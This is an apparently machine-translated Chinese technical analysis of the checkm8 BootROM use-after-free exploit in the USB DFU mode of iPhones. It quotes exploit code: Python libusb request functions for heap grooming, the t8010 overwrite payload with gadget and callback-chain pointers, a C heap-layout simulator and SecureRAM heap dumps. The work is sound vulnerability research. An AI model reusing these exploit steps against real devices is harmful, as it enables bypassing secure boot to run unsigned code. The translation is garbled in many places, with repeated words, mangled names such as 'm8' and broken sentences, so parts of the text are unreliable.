您很可能已经听说过著名的漏洞利用检查程序m8 ,它在包括iPhone X
在内的大多数iDevices的BootROM
中使用了不可修复的漏洞iPhone X
在本文中,我们将对此漏洞进行技术分析,并找出导致漏洞的原因。
您可以在此处阅读俄语版本。
引言
首先,让我们简要描述iDevice的启动过程以及BootROM
(又名SecureROM
)在其中扮演的角色。 可以在此处找到有关它的详细信息。 引导如下所示:

设备上电时,首先执行BootROM
。 其主要任务是:
- 平台初始化(已安装必需的平台寄存器,初始化了
CPU
等) - 验证并将控制权转移到下一阶段
BootROM
支持对IMG3/IMG4
映像的解析BootROM
可以访问用于解密映像的GID
密钥- 为了进行图像验证,
BootROM
具有内置的公共Apple
密钥和必要的加密功能
- 如果无法进一步引导,请还原设备(
Device Firmware Update
, DFU
)。
BootROM
的体积非常小,可以称为iBoot
版,因为它们共享大多数系统和库代码。 尽管与iBoot
不同, BootROM
无法更新。 制造设备时,它将放入内部只读存储器中。 BootROM
是安全启动链信任的硬件根。 BootROM
漏洞可能使攻击者能够控制引导过程并在设备上执行未签名的代码。

checkm8的历史
checkm8
漏洞已由其作者axi0mX于2019年9月27日添加到ipwndfu中 。与此同时,他在Twitter上宣布了更新,并提供了有关此漏洞的描述和其他信息。 根据线索,他在2018年夏季对iBoot
进行iOS 12 beta
补丁补丁时发现了USB
代码中的After use-after-free
漏洞。
BootROM
和iBoot
共享大多数代码,包括USB
,因此此漏洞也与BootROM
有关。
如漏洞利用代码所示,该漏洞在DFU
被利用。 在这种模式下,可以将签名的图像通过USB
传输到设备,稍后再启动。 例如,这对于在更新失败后恢复设备很有用。
同一天,用户littlelailo表示他早在三月份就发现了该漏洞,并在apollo.txt中发布了描述。 该描述与checkm8
相对应,尽管并非所有的利用细节在阅读时都会变得清楚。 这就是为什么我们决定写这篇文章并描述在BootROM
执行有效负载之前的所有利用细节。
我们基于上述资源和iBoot/SecureROM
的源代码对漏洞利用进行了分析,该源代码于2018年2月泄漏。我们还使用了在测试设备iPhone 7
( CPID:8010
上进行的实验中获得的数据) 使用checkm8
,我们获得了SecureROM
和SecureRAM
的转储,这也有助于分析。
有关USB的必要信息
由于该漏洞位于USB
代码中,因此有必要了解此接口的工作方式。 完整的规范可以在https://www.usb.org/上找到,但是它读起来很长。 就我们的目的而言, NutShell中的USB绰绰有余。 在这里,我们仅提及最相关的要点。
USB
数据传输有多种类型。 在DFU
,仅使用“ Control Transfers
模式( 在此处了解更多信息)。 在这种模式下,每个事务都有3个阶段:
Setup Stage
-发送SETUP
数据包; 它具有以下字段:
bmRequestType
定义请求的方向,其类型和接收者bRequest
定义要发出的请求wValue
, wIndex
根据请求进行解释wLength
指定Data Stage
发送/接收的数据的长度
Data Stage
-数据传输的可选阶段。 根据在Setup Stage
发送的SETUP
数据包,数据可以从主机发送到设备( OUT
),反之亦然( IN
)。 数据按小部分发送(如果使用Apple DFU
,则为0x40字节)。
- 当主机要发送另一部分数据时,它将发送一个
OUT
令牌,然后发送数据本身。 - 当主机准备好从设备接收数据时,它将向设备发送
IN
令牌。
Status Stage
-最后阶段; 报告整个交易的状态。
- 对于
OUT
请求,主机发送一个IN
令牌,设备必须以零长度的数据包响应该令牌。 - 对于
IN
请求,主机发送OUT
令牌和零长度数据包。
下面的方案显示了OUT
和IN
请求。 我们故意取出ACK
, NACK
和其他握手数据包,因为它们对于漏洞利用本身并不重要。

apollo.txt分析
我们从apollo.txt中的漏洞开始分析。 该文档描述了DFU
模式的算法:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- 当USB开始通过dfu获取图像时,dfu注册一个接口来处理所有命令,并为输入和输出分配一个缓冲区。
- 如果您将数据发送到dfu,则设置包将由主代码处理,然后调出接口代码
- 接口代码验证wLength短于输入输出缓冲区的长度,如果是这种情况,它将使用指向输入输出缓冲区的指针更新作为参数传递的指针
- 然后返回wLength,这是它要接收到缓冲区的长度
- 然后,USB主代码使用长度更新全局变量,并准备好接收数据包
- 如果接收到数据包,则通过作为参数传递的指针将其写入输入输出缓冲区,并使用另一个全局变量来跟踪已经接收了多少字节
- 如果接收到所有数据,则再次调用特定于dfu的代码,然后继续将输入输出缓冲区的内容复制到以后从中引导映像的内存位置
- 之后,usb代码将重置所有变量,然后继续处理新软件包
- 如果dfu退出,则释放输入输出缓冲区,并且如果映像解析失败,则bootrom重新输入dfu
首先,我们对照iBoot
的源代码检查了这些步骤。 我们不能在这里使用泄漏代码的片段,因此我们将使用从IDA
中对iPhone7
的SecureROM
进行反向工程得到的伪代码。 您可以轻松找到iBoot
的源代码并进行导航。
初始化DFU
,将分配IO
缓冲区,并注册用于处理DFU
请求的USB
接口:

当对DFU
的请求的SETUP
数据包进入时,将调用适当的接口处理程序。 对于OUT
请求(例如,当发送图像时),在成功执行的情况下,处理程序必须返回IO
缓冲区的地址以进行事务处理以及它希望接收的数据长度。 这两个值都存储在全局变量中。

下面的屏幕截图显示了DFU
接口处理程序。 如果请求正确,则返回在DFU
初始化期间分配的IO
缓冲区的地址和SETUP
数据包的预期数据长度。

在Data Stage
,将Data Stage
每个部分写入IO
缓冲区,然后IO
缓冲区地址偏移并更新接收到的计数器。 接收到所有预期数据后,将调用接口数据处理程序,并清除事务的全局状态。

在DFU
数据处理程序中,将接收到的数据移到存储区,以后再从该存储区中加载数据。 根据iBoot
的源代码, Apple
设备上的该区域称为INSECURE_MEMORY
。

当设备退出DFU
模式时,先前分配的IO
缓冲区将被释放。 如果在DFU
模式下成功获取了映像,则将对其进行验证并启动。 如果有任何错误或无法引导映像,则DFU
将再次初始化,并且整个过程将从头开始重复。
所描述的算法具有“ use-after-free
漏洞。 如果我们在上载图像时发送SETUP
数据包并完成跳过Data Stage
的交易,则全局状态将在下一个DFU
周期内保持初始化状态,并且能够写入上一个DFU
周期中分配的IO
缓冲区的地址。 DFU
迭代。
既然我们知道use-after-free
工作原理,那么问题是,在DFU
的下一次迭代期间如何覆盖任何内容? 在再次初始化DFU
之前,将释放所有先前分配的资源,并且新迭代中的内存分配必须完全相同。 事实证明,还有另一个有趣的内存泄漏错误,它允许利用use-after-free
。
checkm8分析
让我们来checkm8
本身。 为了演示起见,我们将使用iPhone 7
漏洞利用iPhone 7
的简化版本,在其中删除与其他平台有关的所有代码,并更改USB
请求的顺序和类型,而不会对其功能造成任何损害。 我们还摆脱了构建有效负载的过程,该过程可以在原始文件checkm8.py
。 很容易发现其他设备版本之间的差异。
checkm8
的操作分为checkm8
几个阶段:
- 堆风水
- 在不清除全局状态的情况下分配和释放
IO
缓冲区 use-after-free
覆盖覆盖usb_device_io_request
- 放置有效载荷
- 执行
callback-chain
shellcode
执行
让我们详细了解所有阶段。
1.堆风水
我们认为这是最有趣的阶段,因此我们将花费更多的时间来描述它。
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
这个阶段对于以有利于利用use-after-free
的方式安排堆是必要的。 首先,让我们考虑一下调用stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
是libusb1_no_error_ctrl_transfer
的包装,忽略了在执行请求期间出现的所有异常。 libusb1_async_ctrl_transfer
是libusb
的libusb_submit_transfer
函数的包装程序,用于异步执行需求。
以下参数传递给这些调用:
- 设备编号
SETUP
数据包的数据(您可以在此处找到说明 ):
bmRequestType
bRequest
wValue
wIndex
- 数据长度(
wLength
)或数据Data Stage
的Data Stage
- 请求超时
参数bmRequestType
, bRequest
, wValue
和wIndex
由所有三种请求类型共享:
bmRequestType = 0x80
0b1XXXXXXX
Data Stage
方向(设备到主机)0bX00XXXXX
标准请求类型0bXXX00000
设备是请求的接收者
bRequest = 6
请求获取描述符( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
定义描述符的类型-字符串( USB_DT_STRING
)wValueLow = 0x4
字符串描述符的索引4,对应于设备序列号(在这种情况下,字符串为CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
字符串语言的wIndex = 0x40A
符,其值与利用无关,可以更改。
对于这些请求中的任何一个,在堆中都会为以下结构的对象分配0x30字节:

该对象最有趣的字段是callback
和next
。
callback
是指向请求完成后将被调用的函数的指针。next
是指向相同类型的下一个对象的指针; 组织请求队列是必要的。
stall
的关键特征是它以最小超时使用异步执行请求。 这就是为什么,如果幸运的话,该请求将在操作系统级别被取消并保留在执行队列中,并且事务将无法完成。 另外,设备将继续接收所有即将到来的SETUP
数据包,并在必要时将它们放在执行队列中。 后来,在Arduino
上对USB
控制器进行了试验,我们发现为了成功利用漏洞,我们需要主机发送SETUP
数据包和IN
令牌,此后由于超时而必须取消事务。 此不完整的交易如下所示:
除此之外,请求的长度仅相差一个单位。 对于标准请求,有一个如下所示的标准callback
:

io_length
的值等于请求的SETUP
数据包中wLength
的最小值和请求描述符的原始长度。 由于描述符很长,我们可以将io_length
的值控制在其长度内。 g_setup_request.wLength
的值等于最后一个SETUP
数据包中的wLength
的值。 在这种情况下,它是0xC1
。
这样,由调用stall
和leak
形成的请求就完成了,满足了终端callback
函数中的条件,并usb_core_send_zlp()
。 此调用将创建一个空数据包( zero-length-packet
),并将其添加到执行队列中。 这对于在Status Stage
正确完成事务是必要的。
通过调用函数usb_core_complete_endpoint_io
完成请求。 首先,它调用callback
,然后释放请求的内存。 该请求不仅在整个事务完成时完成,而且在重置USB
时也完成。 收到用于重置USB
的信号时,执行队列中的所有请求将完成。
通过在执行队列中有选择地调用usb_core_send_zlp()
并随后释放请求,我们可以获得对堆的充分控制,以利用use-after-free
。 首先,让我们看一下请求清理循环:

如您所见,队列被清空,然后被取消的请求由usb_core_complete_endpoint_io
运行和完成。 usb_core_send_zlp
分配的请求放入ep->io_head
。 USB
重置完成后,将清除有关端点的所有信息,包括指针io_head
和io_tail
,零长度请求将保留在堆中。 因此,我们可以在堆中创建一个小的块。 以下方案显示了它是如何完成的:

在SecureROM
堆中,从最小的适当空闲块中分配了一个新的内存区域。 通过使用上述方法创建一个小的空闲块,我们可以控制USB
初始化期间的内存分配,包括io_buffer
和请求的分配。
为了更好地理解这一点,让我们看看初始化DFU
时向堆发出了哪些请求。 在分析iBoot
源代码和对SecureROM
反向工程时,我们得到了以下顺序:
- 分配各种字符串描述符
- 1.1。
Nonce
(大小234
) - 1.2。
Manufacturer
( 22
) - 1.3。
Product
( 62
) - 1.4。
Serial Number
( 198
) - 1.5。
Configuration string
( 62
)
- 与创建
USB
控制器任务相关的分配
- 2.1。 任务结构(
0x3c0
) - 2.2。 任务堆栈(
0x1000
)
io_buffer
( 0x800
)
- 配置描述符
- 4.1。
High-Speed
( 25
) - 4.2。
Full-Speed
( 25
)
然后,分配请求结构。 如果堆中有一小块,则第一类的一些分配将到达该堆,所有其他分配将移动。 因此,通过引用旧缓冲区,我们将能够使usb_device_io_request
溢出。 看起来像这样:

为了计算必要的偏移量,我们仅模拟了上面列出的所有分配,并对iBoot
堆的源代码进行了一些修改。
在DFU中模拟对堆的请求 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
该程序的输出在heap feng-shui
阶段有8个请求:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
如您所见,另一个usb_device_io_request
将出现在与前一个缓冲区的起始位置0x5c0
处,该位置与漏洞利用代码相对应:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
您可以通过分析SecureRAM
获得的SecureRAM
堆的当前状态来检查这些结论的有效性。 为此,我们编写了一个简单的脚本来解析堆的转储并枚举块。 请记住,在usb_device_io_request
溢出期间,部分元数据已损坏,因此我们在分析期间将其跳过。
脚本的输出和注释可以在破坏器下找到。 您可以看到低位字节与仿真结果匹配。
在SecureRAM中解析堆的结果 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 